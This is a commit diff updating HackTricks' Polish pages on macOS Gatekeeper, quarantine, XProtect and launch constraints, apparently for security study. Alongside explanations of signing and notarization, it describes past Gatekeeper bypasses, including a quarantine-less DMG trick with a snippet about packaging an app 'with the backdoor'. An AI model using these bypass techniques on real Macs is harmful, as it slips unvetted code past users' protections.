mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
3f698f7061
commit
ccc30560b7
20 changed files with 666 additions and 536 deletions
|
@ -1,16 +1,19 @@
|
|||
# macOS Gatekeeper / Quarantine / XProtect
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz, aby Twoja **firma była reklamowana w HackTricks**? A może chcesz mieć dostęp do **najświeższej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hackingowymi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -18,7 +21,7 @@
|
|||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper** to funkcja zabezpieczeń opracowana dla systemów operacyjnych Mac, mająca na celu zapewnienie, że użytkownicy **uruchamiają tylko zaufane oprogramowanie** na swoich systemach. Działa poprzez **weryfikację oprogramowania**, które użytkownik pobiera i próbuje otworzyć z **źródeł zewnętrznych do App Store**, takich jak aplikacja, wtyczka lub pakiet instalacyjny.
|
||||
**Gatekeeper** to funkcja zabezpieczeń opracowana dla systemów operacyjnych Mac, zaprojektowana w celu zapewnienia, że użytkownicy **uruchamiają tylko zaufane oprogramowanie** na swoich systemach. Działa poprzez **weryfikację oprogramowania**, które użytkownik pobiera i próbuje otworzyć z **źródeł spoza App Store**, takich jak aplikacja, wtyczka lub pakiet instalacyjny.
|
||||
|
||||
Kluczowym mechanizmem Gatekeepera jest jego **proces weryfikacji**. Sprawdza, czy pobrane oprogramowanie jest **podpisane przez uznanego dewelopera**, co zapewnia autentyczność oprogramowania. Ponadto ustala, czy oprogramowanie jest **notaryzowane przez Apple**, co potwierdza, że nie zawiera znanej złośliwej zawartości i nie zostało zmienione po notaryzacji.
|
||||
|
||||
|
@ -30,13 +33,13 @@ Podpisy aplikacji, znane również jako podpisy kodu, są kluczowym elementem in
|
|||
|
||||
Oto jak to działa:
|
||||
|
||||
1. **Podpisywanie aplikacji:** Gdy deweloper jest gotowy do dystrybucji swojej aplikacji, **podpisuje aplikację za pomocą klucza prywatnego**. Ten klucz prywatny jest powiązany z **certyfikatem, który Apple wydaje deweloperowi** po zapisaniu się do Programu Dewelopera Apple. Proces podpisywania polega na stworzeniu kryptograficznego skrótu wszystkich części aplikacji i zaszyfrowaniu tego skrótu kluczem prywatnym dewelopera.
|
||||
1. **Podpisywanie aplikacji:** Gdy deweloper jest gotowy do dystrybucji swojej aplikacji, **podpisuje aplikację za pomocą klucza prywatnego**. Ten klucz prywatny jest powiązany z **certyfikatem, który Apple wydaje deweloperowi** po zapisaniu się do programu Apple Developer. Proces podpisywania polega na stworzeniu kryptograficznego skrótu wszystkich części aplikacji i zaszyfrowaniu tego skrótu kluczem prywatnym dewelopera.
|
||||
2. **Dystrybucja aplikacji:** Podpisana aplikacja jest następnie dystrybuowana do użytkowników wraz z certyfikatem dewelopera, który zawiera odpowiadający klucz publiczny.
|
||||
3. **Weryfikacja aplikacji:** Gdy użytkownik pobiera i próbuje uruchomić aplikację, system operacyjny Mac używa klucza publicznego z certyfikatu dewelopera do odszyfrowania skrótu. Następnie ponownie oblicza skrót na podstawie aktualnego stanu aplikacji i porównuje go z odszyfrowanym skrótem. Jeśli się zgadzają, oznacza to, że **aplikacja nie została zmodyfikowana** od momentu jej podpisania przez dewelopera, a system zezwala na jej uruchomienie.
|
||||
|
||||
Podpisy aplikacji są niezbędną częścią technologii Gatekeeper Apple. Gdy użytkownik próbuje **otworzyć aplikację pobraną z internetu**, Gatekeeper weryfikuje podpis aplikacji. Jeśli jest podpisana certyfikatem wydanym przez Apple dla znanego dewelopera i kod nie został zmieniony, Gatekeeper zezwala na uruchomienie aplikacji. W przeciwnym razie blokuje aplikację i informuje użytkownika.
|
||||
Podpisy aplikacji są istotną częścią technologii Gatekeeper Apple. Gdy użytkownik próbuje **otworzyć aplikację pobraną z internetu**, Gatekeeper weryfikuje podpis aplikacji. Jeśli jest podpisana certyfikatem wydanym przez Apple dla znanego dewelopera i kod nie został zmieniony, Gatekeeper zezwala na uruchomienie aplikacji. W przeciwnym razie blokuje aplikację i informuje użytkownika.
|
||||
|
||||
Począwszy od macOS Catalina, **Gatekeeper sprawdza również, czy aplikacja została notaryzowana** przez Apple, co dodaje dodatkową warstwę zabezpieczeń. Proces notaryzacji sprawdza aplikację pod kątem znanych problemów z bezpieczeństwem i złośliwego kodu, a jeśli te kontrole przejdą, Apple dodaje bilet do aplikacji, który Gatekeeper może zweryfikować.
|
||||
Począwszy od macOS Catalina, **Gatekeeper sprawdza również, czy aplikacja została notaryzowana** przez Apple, co dodaje dodatkową warstwę zabezpieczeń. Proces notaryzacji sprawdza aplikację pod kątem znanych problemów z bezpieczeństwem i złośliwego kodu, a jeśli te kontrole przejdą, Apple dodaje do aplikacji bilet, który Gatekeeper może zweryfikować.
|
||||
|
||||
#### Sprawdź podpisy
|
||||
|
||||
|
@ -59,9 +62,9 @@ codesign -s <cert-name-keychain> toolsdemo
|
|||
```
|
||||
### Notarization
|
||||
|
||||
Proces notaryzacji Apple'a służy jako dodatkowe zabezpieczenie chroniące użytkowników przed potencjalnie szkodliwym oprogramowaniem. Polega on na **przesłaniu aplikacji przez dewelopera do zbadania** przez **Usługę Notaryzacji Apple'a**, której nie należy mylić z Przeglądem Aplikacji. Usługa ta jest **automatycznym systemem**, który analizuje przesłane oprogramowanie pod kątem obecności **złośliwej zawartości** oraz wszelkich potencjalnych problemów z podpisywaniem kodu.
|
||||
Proces notaryzacji Apple'a służy jako dodatkowe zabezpieczenie chroniące użytkowników przed potencjalnie szkodliwym oprogramowaniem. Polega on na **przesłaniu aplikacji przez dewelopera do zbadania** przez **Usługę Notaryzacyjną Apple'a**, której nie należy mylić z Przeglądem Aplikacji. Usługa ta jest **automatycznym systemem**, który analizuje przesłane oprogramowanie pod kątem obecności **złośliwej zawartości** oraz wszelkich potencjalnych problemów z podpisywaniem kodu.
|
||||
|
||||
Jeśli oprogramowanie **przejdzie** tę inspekcję bez budzenia jakichkolwiek wątpliwości, Usługa Notaryzacji generuje bilet notaryzacyjny. Deweloper jest następnie zobowiązany do **dołączenia tego biletu do swojego oprogramowania**, co nazywane jest 'staplingiem.' Ponadto, bilet notaryzacyjny jest również publikowany online, gdzie Gatekeeper, technologia zabezpieczeń Apple'a, może go uzyskać.
|
||||
Jeśli oprogramowanie **przejdzie** tę inspekcję bez budzenia jakichkolwiek wątpliwości, Usługa Notaryzacyjna generuje bilet notaryzacyjny. Deweloper jest następnie zobowiązany do **dołączenia tego biletu do swojego oprogramowania**, co nazywa się 'staplingiem.' Ponadto, bilet notaryzacyjny jest również publikowany online, gdzie Gatekeeper, technologia zabezpieczeń Apple'a, może go uzyskać.
|
||||
|
||||
Przy pierwszej instalacji lub uruchomieniu oprogramowania przez użytkownika, istnienie biletu notaryzacyjnego - czy to dołączonego do pliku wykonywalnego, czy znalezionego online - **informuje Gatekeeper, że oprogramowanie zostało notaryzowane przez Apple'a**. W rezultacie, Gatekeeper wyświetla opisową wiadomość w początkowym oknie dialogowym uruchamiania, wskazując, że oprogramowanie przeszło kontrole pod kątem złośliwej zawartości przez Apple'a. Proces ten zwiększa zaufanie użytkowników do bezpieczeństwa oprogramowania, które instalują lub uruchamiają na swoich systemach.
|
||||
|
||||
|
@ -78,7 +81,7 @@ spctl --status
|
|||
Zauważ, że kontrole podpisów GateKeepera są wykonywane tylko dla **plików z atrybutem Quarantine**, a nie dla każdego pliku.
|
||||
{% endhint %}
|
||||
|
||||
GateKeeper sprawdzi, czy zgodnie z **preferencjami i podpisem** binarka może być uruchomiona:
|
||||
GateKeeper sprawdzi, czy zgodnie z **preferencjami i podpisem** binarka może być wykonana:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -97,7 +100,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
|
|||
[...]
|
||||
```
|
||||
Zauważ, że pierwsza zasada kończy się na "**App Store**", a druga na "**Developer ID**" i że w poprzednim obrazie było **włączone wykonywanie aplikacji z App Store i zidentyfikowanych deweloperów**.\
|
||||
Jeśli **zmienisz** to ustawienie na App Store, zasady "**Notarized Developer ID**" znikną.
|
||||
Jeśli **zmienisz** to ustawienie na App Store, zasady "**Notarized Developer ID** znikną**.
|
||||
|
||||
Istnieje również tysiące zasad **typu GKE**:
|
||||
```bash
|
||||
|
@ -108,7 +111,7 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
|||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||
```
|
||||
To są hashe, które pochodzą z **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** oraz **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
|
||||
To są hashe, które pochodzą z **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** i **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
|
||||
|
||||
Lub możesz wymienić poprzednie informacje za pomocą:
|
||||
```bash
|
||||
|
@ -149,14 +152,14 @@ spctl --assess -v /Applications/App.app
|
|||
```
|
||||
### Quarantine Files
|
||||
|
||||
Po **pobraniu** aplikacji lub pliku, konkretne aplikacje macOS, takie jak przeglądarki internetowe lub klienci poczty e-mail, **przypisują rozszerzony atrybut pliku**, powszechnie znany jako "**flaga kwarantanny**," do pobranego pliku. Atrybut ten działa jako środek bezpieczeństwa, aby **oznaczyć plik** jako pochodzący z nieznanego źródła (internetu) i potencjalnie niosący ryzyko. Jednak nie wszystkie aplikacje przypisują ten atrybut, na przykład, powszechne oprogramowanie klienckie BitTorrent zazwyczaj omija ten proces.
|
||||
Po **pobraniu** aplikacji lub pliku, konkretne aplikacje macOS, takie jak przeglądarki internetowe lub klienci poczty e-mail, **przypisują rozszerzony atrybut pliku**, powszechnie znany jako "**flaga kwarantanny**," do pobranego pliku. Atrybut ten działa jako środek bezpieczeństwa, aby **oznaczyć plik** jako pochodzący z nieznanego źródła (internetu) i potencjalnie niosący ryzyko. Jednak nie wszystkie aplikacje przypisują ten atrybut, na przykład, powszechne oprogramowanie klientów BitTorrent zazwyczaj omija ten proces.
|
||||
|
||||
**Obecność flagi kwarantanny sygnalizuje funkcję zabezpieczeń Gatekeeper w macOS, gdy użytkownik próbuje wykonać plik**.
|
||||
|
||||
W przypadku, gdy **flaga kwarantanny nie jest obecna** (jak w przypadku plików pobranych za pomocą niektórych klientów BitTorrent), **sprawdzenia Gatekeepera mogą nie być przeprowadzane**. Dlatego użytkownicy powinni zachować ostrożność przy otwieraniu plików pobranych z mniej bezpiecznych lub nieznanych źródeł.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Sprawdzanie** **ważności** podpisów kodu jest **zasobożernym** procesem, który obejmuje generowanie kryptograficznych **hashy** kodu i wszystkich jego powiązanych zasobów. Ponadto, sprawdzanie ważności certyfikatu wiąże się z przeprowadzeniem **sprawdzenia online** na serwerach Apple, aby zobaczyć, czy został on unieważniony po jego wydaniu. Z tych powodów, pełne sprawdzenie podpisu kodu i notaryzacji jest **niepraktyczne do przeprowadzania za każdym razem, gdy aplikacja jest uruchamiana**.
|
||||
**Sprawdzanie** **ważności** podpisów kodu jest **zasobożernym** procesem, który obejmuje generowanie kryptograficznych **hashy** kodu i wszystkich jego powiązanych zasobów. Ponadto, sprawdzanie ważności certyfikatu wiąże się z przeprowadzeniem **sprawdzenia online** na serwerach Apple, aby zobaczyć, czy został on unieważniony po jego wydaniu. Z tych powodów, pełne sprawdzenie podpisu kodu i notaryzacji jest **niepraktyczne do przeprowadzenia za każdym razem, gdy aplikacja jest uruchamiana**.
|
||||
|
||||
Dlatego te kontrole są **przeprowadzane tylko podczas uruchamiania aplikacji z atrybutem kwarantanny.**
|
||||
{% endhint %}
|
||||
|
@ -288,7 +291,7 @@ Rozszerzenie jądra jest dostępne tylko przez **cache jądra w systemie**; jedn
|
|||
|
||||
### XProtect
|
||||
|
||||
XProtect to wbudowana funkcja **antymalware** w macOS. XProtect **sprawdza każdą aplikację przy pierwszym uruchomieniu lub modyfikacji w porównaniu do swojej bazy danych** znanych złośliwych oprogramowań i niebezpiecznych typów plików. Gdy pobierasz plik przez niektóre aplikacje, takie jak Safari, Mail lub Wiadomości, XProtect automatycznie skanuje plik. Jeśli pasuje do jakiegokolwiek znanego złośliwego oprogramowania w swojej bazie danych, XProtect **zapobiegnie uruchomieniu pliku** i powiadomi cię o zagrożeniu.
|
||||
XProtect to wbudowana funkcja **antywirusowa** w macOS. XProtect **sprawdza każdą aplikację przy pierwszym uruchomieniu lub modyfikacji w porównaniu do swojej bazy danych** znanych złośliwych oprogramowań i niebezpiecznych typów plików. Gdy pobierasz plik przez niektóre aplikacje, takie jak Safari, Mail lub Wiadomości, XProtect automatycznie skanuje plik. Jeśli pasuje do jakiegokolwiek znanego złośliwego oprogramowania w swojej bazie danych, XProtect **zapobiegnie uruchomieniu pliku** i powiadomi cię o zagrożeniu.
|
||||
|
||||
Baza danych XProtect jest **regularnie aktualizowana** przez Apple o nowe definicje złośliwego oprogramowania, a te aktualizacje są automatycznie pobierane i instalowane na twoim Macu. Zapewnia to, że XProtect jest zawsze aktualny z najnowszymi znanymi zagrożeniami.
|
||||
|
||||
|
@ -309,25 +312,25 @@ XProtect znajduje się w chronionej lokalizacji SIP pod **/Library/Apple/System/
|
|||
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Reguły Yara do wykrywania złośliwego oprogramowania.
|
||||
* **`XProtect.bundle/Contents/Resources/gk.db`**: Baza danych SQLite3 z hashami zablokowanych aplikacji i TeamIDs.
|
||||
|
||||
Zauważ, że istnieje inna aplikacja w **`/Library/Apple/System/Library/CoreServices/XProtect.app`**, związana z XProtect, która nie jest zaangażowana w proces Gatekeeper.
|
||||
Zauważ, że istnieje inna aplikacja w **`/Library/Apple/System/Library/CoreServices/XProtect.app`**, związana z XProtect, która nie jest zaangażowana w proces Gatekeepera.
|
||||
|
||||
### Nie Gatekeeper
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że Gatekeeper **nie jest uruchamiany za każdym razem**, gdy uruchamiasz aplikację, tylko _**AppleMobileFileIntegrity**_ (AMFI) **weryfikuje podpisy kodu wykonywalnego** tylko wtedy, gdy uruchamiasz aplikację, która została już uruchomiona i zweryfikowana przez Gatekeeper.
|
||||
Zauważ, że Gatekeeper **nie jest uruchamiany za każdym razem**, gdy uruchamiasz aplikację, tylko _**AppleMobileFileIntegrity**_ (AMFI) **weryfikuje podpisy kodu wykonywalnego** tylko wtedy, gdy uruchamiasz aplikację, która została już uruchomiona i zweryfikowana przez Gatekeepera.
|
||||
{% endhint %}
|
||||
|
||||
Dlatego wcześniej możliwe było uruchomienie aplikacji, aby zbuforować ją w Gatekeeper, a następnie **zmodyfikowanie nie wykonywalnych plików aplikacji** (jak pliki Electron asar lub NIB) i jeśli nie było innych zabezpieczeń, aplikacja była **uruchamiana** z **złośliwymi** dodatkami.
|
||||
Dlatego wcześniej możliwe było uruchomienie aplikacji, aby zbuforować ją w Gatekeeperze, a następnie **zmodyfikowanie nie wykonywalnych plików aplikacji** (jak pliki Electron asar lub NIB) i jeśli nie było innych zabezpieczeń, aplikacja była **uruchamiana** z **złośliwymi** dodatkami.
|
||||
|
||||
Jednak teraz to nie jest możliwe, ponieważ macOS **zapobiega modyfikacji plików** wewnątrz pakietów aplikacji. Więc, jeśli spróbujesz ataku [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), odkryjesz, że nie jest już możliwe jego nadużycie, ponieważ po uruchomieniu aplikacji, aby zbuforować ją w Gatekeeper, nie będziesz mógł zmodyfikować pakietu. A jeśli zmienisz na przykład nazwę katalogu Contents na NotCon (jak wskazano w exploicie), a następnie uruchomisz główny plik binarny aplikacji, aby zbuforować ją w Gatekeeper, spowoduje to błąd i nie zostanie uruchomiona.
|
||||
Jednak teraz to nie jest możliwe, ponieważ macOS **zapobiega modyfikacji plików** wewnątrz pakietów aplikacji. Więc, jeśli spróbujesz ataku [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), odkryjesz, że nie jest już możliwe jego nadużycie, ponieważ po uruchomieniu aplikacji, aby zbuforować ją w Gatekeeperze, nie będziesz w stanie zmodyfikować pakietu. A jeśli zmienisz na przykład nazwę katalogu Contents na NotCon (jak wskazano w exploicie), a następnie uruchomisz główny plik binarny aplikacji, aby zbuforować ją w Gatekeeperze, spowoduje to błąd i nie zostanie uruchomiona.
|
||||
|
||||
## Obejścia Gatekeeper
|
||||
## Obejścia Gatekeepera
|
||||
|
||||
Każdy sposób na obejście Gatekeeper (udać się zmusić użytkownika do pobrania czegoś i uruchomienia tego, gdy Gatekeeper powinien to zablokować) jest uważany za lukę w macOS. Oto niektóre CVE przypisane do technik, które pozwalały na obejście Gatekeeper w przeszłości:
|
||||
Każdy sposób na obejście Gatekeepera (udać się zmusić użytkownika do pobrania czegoś i uruchomienia tego, gdy Gatekeeper powinien to zablokować) jest uważany za lukę w macOS. Oto niektóre CVE przypisane do technik, które pozwalały na obejście Gatekeepera w przeszłości:
|
||||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
Zaobserwowano, że jeśli **Narzędzie archiwizacji** jest używane do ekstrakcji, pliki z **ścieżkami przekraczającymi 886 znaków** nie otrzymują rozszerzonego atrybutu com.apple.quarantine. Ta sytuacja niezamierzenie pozwala tym plikom **ominąć kontrole bezpieczeństwa Gatekeepera**.
|
||||
Zaobserwowano, że jeśli **Narzędzie Archiwizacji** jest używane do ekstrakcji, pliki z **ścieżkami przekraczającymi 886 znaków** nie otrzymują rozszerzonego atrybutu com.apple.quarantine. Ta sytuacja niezamierzenie pozwala tym plikom **ominąć kontrole bezpieczeństwa Gatekeepera**.
|
||||
|
||||
Sprawdź [**oryginalny raport**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) po więcej informacji.
|
||||
|
||||
|
@ -408,8 +411,8 @@ aa archive -d test/ -o test.aar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Mając możliwość stworzenia pliku, który nie będzie miał ustawionego atrybutu kwarantanny, **można było obejść Gatekeeper.** Sztuczka polegała na **stworzeniu aplikacji pliku DMG** używając konwencji nazewnictwa AppleDouble (zaczynając od `._`) i stworzeniu **widocznego pliku jako dowiązania symbolicznego do tego ukrytego** pliku bez atrybutu kwarantanny.\
|
||||
Gdy **plik dmg jest wykonywany**, ponieważ nie ma atrybutu kwarantanny, **obejdzie Gatekeeper.**
|
||||
Mając możliwość stworzenia pliku, który nie będzie miał ustawionego atrybutu kwarantanny, **możliwe było ominięcie Gatekeepera.** Sztuczka polegała na **stworzeniu aplikacji pliku DMG** przy użyciu konwencji nazewnictwa AppleDouble (zaczynając od `._`) i stworzeniu **widocznego pliku jako dowiązania symbolicznego do tego ukrytego** pliku bez atrybutu kwarantanny.\
|
||||
Gdy **plik dmg jest wykonywany**, ponieważ nie ma atrybutu kwarantanny, **ominięty zostanie Gatekeeper.**
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
|
|
@ -1,57 +1,58 @@
|
|||
# Ograniczenia uruchamiania/środowiska macOS i pamięć podręczna zaufania
|
||||
# macOS Launch/Environment Constraints & Trust Cache
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
*
|
||||
* .
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Ograniczenia uruchamiania w macOS zostały wprowadzone w celu zwiększenia bezpieczeństwa poprzez **regulowanie, jak, kto i z jakiego miejsca może zostać uruchomiony proces**. Wprowadzone w macOS Ventura, zapewniają one ramy, które kategoryzują **każdy binarny systemowy do odrębnych kategorii ograniczeń**, zdefiniowanych w **pamięci podręcznej zaufania**, która zawiera binarne systemowe i ich odpowiednie skróty. Ograniczenia te dotyczą każdego wykonywalnego pliku binarnego w systemie i obejmują zestaw **reguł**, które określają wymagania dotyczące **uruchamiania danego pliku binarnego**. Reguły obejmują ograniczenia własne, które musi spełnić dany plik binarny, ograniczenia rodzica, które muszą być spełnione przez proces nadrzędny, oraz ograniczenia odpowiedzialności, które muszą być przestrzegane przez inne istotne podmioty.
|
||||
Ograniczenia uruchamiania w macOS zostały wprowadzone w celu zwiększenia bezpieczeństwa poprzez **regulowanie, jak, kto i skąd proces może być inicjowany**. Wprowadzone w macOS Ventura, zapewniają ramy, które klasyfikują **każdy systemowy plik binarny w różne kategorie ograniczeń**, które są zdefiniowane w **pamięci zaufania**, liście zawierającej pliki binarne systemu i ich odpowiednie hashe. Ograniczenia te obejmują każdy wykonywalny plik binarny w systemie, co wiąże się z zestawem **reguł** określających wymagania dotyczące **uruchamiania konkretnego pliku binarnego**. Reguły obejmują ograniczenia własne, które musi spełnić plik binarny, ograniczenia rodzica, które musi spełnić jego proces nadrzędny, oraz ograniczenia odpowiedzialności, które muszą być przestrzegane przez inne odpowiednie podmioty.
|
||||
|
||||
Mechanizm ten dotyczy również aplikacji firm trzecich poprzez **Ograniczenia środowiskowe**, wprowadzone od macOS Sonoma, które umożliwiają programistom ochronę ich aplikacji poprzez określenie **zbioru kluczy i wartości dla ograniczeń środowiskowych**.
|
||||
Mechanizm ten rozszerza się na aplikacje firm trzecich poprzez **Ograniczenia Środowiskowe**, począwszy od macOS Sonoma, umożliwiając programistom ochronę swoich aplikacji poprzez określenie **zestawu kluczy i wartości dla ograniczeń środowiskowych.**
|
||||
|
||||
Definiujesz **ograniczenia uruchamiania i bibliotek** w słownikach ograniczeń, które zapisujesz w plikach **właściwości `launchd`**, lub w **oddzielnych plikach** właściwości, które używasz w podpisach kodu.
|
||||
Definiujesz **ograniczenia środowiskowe i biblioteczne** w słownikach ograniczeń, które zapisujesz w **plikach listy właściwości `launchd`**, lub w **osobnych plikach listy właściwości**, które używasz w podpisywaniu kodu.
|
||||
|
||||
Istnieją 4 rodzaje ograniczeń:
|
||||
Istnieją 4 typy ograniczeń:
|
||||
|
||||
* **Ograniczenia własne**: Ograniczenia dotyczące **uruchamianego** pliku binarnego.
|
||||
* **Ograniczenia procesu nadrzędnego**: Ograniczenia dotyczące **procesu nadrzędnego** (na przykład **`launchd`** uruchamiającego usługę XP)
|
||||
* **Ograniczenia odpowiedzialności**: Ograniczenia dotyczące **procesu wywołującego usługę** w komunikacji XPC
|
||||
* **Ograniczenia ładowania bibliotek**: Użyj ograniczeń ładowania bibliotek, aby selektywnie opisać kod, który może być ładowany
|
||||
* **Ograniczenia własne**: Ograniczenia stosowane do **uruchamianego** pliku binarnego.
|
||||
* **Proces nadrzędny**: Ograniczenia stosowane do **rodzica procesu** (na przykład **`launchd`** uruchamiającego usługę XP)
|
||||
* **Ograniczenia odpowiedzialności**: Ograniczenia stosowane do **procesu wywołującego usługę** w komunikacji XPC
|
||||
* **Ograniczenia ładowania biblioteki**: Użyj ograniczeń ładowania biblioteki, aby selektywnie opisać kod, który może być załadowany
|
||||
|
||||
Kiedy proces próbuje uruchomić inny proces - poprzez wywołanie `execve(_:_:_:)` lub `posix_spawn(_:_:_:_:_:_:)` - system operacyjny sprawdza, czy **plik wykonywalny** spełnia **własne ograniczenia**. Sprawdza również, czy **plik wykonywalny procesu nadrzędnego** spełnia ograniczenia **rodzica pliku wykonywalnego**, oraz czy **plik wykonywalny procesu odpowiedzialnego** spełnia ograniczenia **pliku wykonywalnego odpowiedzialnego procesu**. Jeśli któreś z tych ograniczeń uruchamiania nie zostanie spełnione, system operacyjny nie uruchamia programu.
|
||||
Gdy proces próbuje uruchomić inny proces — wywołując `execve(_:_:_:)` lub `posix_spawn(_:_:_:_:_:_:)` — system operacyjny sprawdza, czy plik **wykonywalny** **spełnia** swoje **własne ograniczenie własne**. Sprawdza również, czy plik wykonywalny **procesu nadrzędnego** **spełnia** **ograniczenie nadrzędne** pliku wykonywalnego oraz czy plik wykonywalny **procesu odpowiedzialnego** **spełnia ograniczenie procesu odpowiedzialnego** pliku wykonywalnego. Jeśli którekolwiek z tych ograniczeń uruchamiania nie jest spełnione, system operacyjny nie uruchamia programu.
|
||||
|
||||
Jeśli podczas ładowania biblioteki jakakolwiek część **ograniczenia biblioteki nie jest prawdziwa**, twój proces **nie ładuje** biblioteki.
|
||||
|
||||
## Kategorie LC
|
||||
|
||||
LC składa się z **faktów** i **operacji logicznych** (and, or...), które łączą fakty.
|
||||
LC składa się z **faktów** i **operacji logicznych** (i, lub..) łączących fakty.
|
||||
|
||||
[**Fakty, które może wykorzystać LC, są udokumentowane**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Na przykład:
|
||||
